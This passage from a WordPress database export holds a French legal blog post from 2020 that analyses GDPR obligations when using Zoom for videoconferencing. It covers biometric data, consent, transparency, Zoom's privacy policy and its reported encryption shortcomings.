17:52:45','',601,'https://datarainbow.eu/2020/04/17/601-revision-v1/',0,'revision','',0),(687,5,'2020-04-17 19:12:24','2020-04-17 18:12:24','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application de la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable. Les données précédemment notamment de santé, répertoriées comme des données ‘sensibles’, sont désormais des données de catégorie spéciale <strong>art. 9</strong> <strong>[_<a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données doivent être collectées doivent répondre aux exigences de licéité énumérées à <strong>l’art. 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. <strong>Les données à caractère personnel doivent être :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. <strong>Le responsable du traitement est responsable du respect du paragraphe 1 et est en mesure de démontrer que celui-ci est respecté (responsabilité).</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout traitement de données doit répondre à une finalité légitime telle qu’énumérée à l’<strong>art. 6 [_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le traitement pourra être, soit considéré comme relevant d’un intérêt légitime – avec nécessité de procéder aux tests en trois parties – soit une demande de consentement préalable sera indispensable. Le motif de traitement devra être consigné par le contrôleur le cas échéant sur son registre des traitements <strong>art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy notice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché à tout moment avec le risque d’invalider la licéité de tout enregistrement conservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’art. 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre, spécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte, par une déclaration ou par un <strong>acte positif clair</strong>, que des données à caractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence lorsque les données sont collectées avec précision de l’enregistrement ou toutes diffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots) des meetings. Rappelons que, s’agissant de données biométriques capables d\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci concerne les données des participants et de toutes autres données personnelles traitées lors de la visio-conférence <strong>art. 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] -</strong> les consentements devront être répertoriés au registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des données des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence de chiffrage ou encryptage</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”</em></li><li><em>On 4/3, Citizen Lab&nbsp;<a 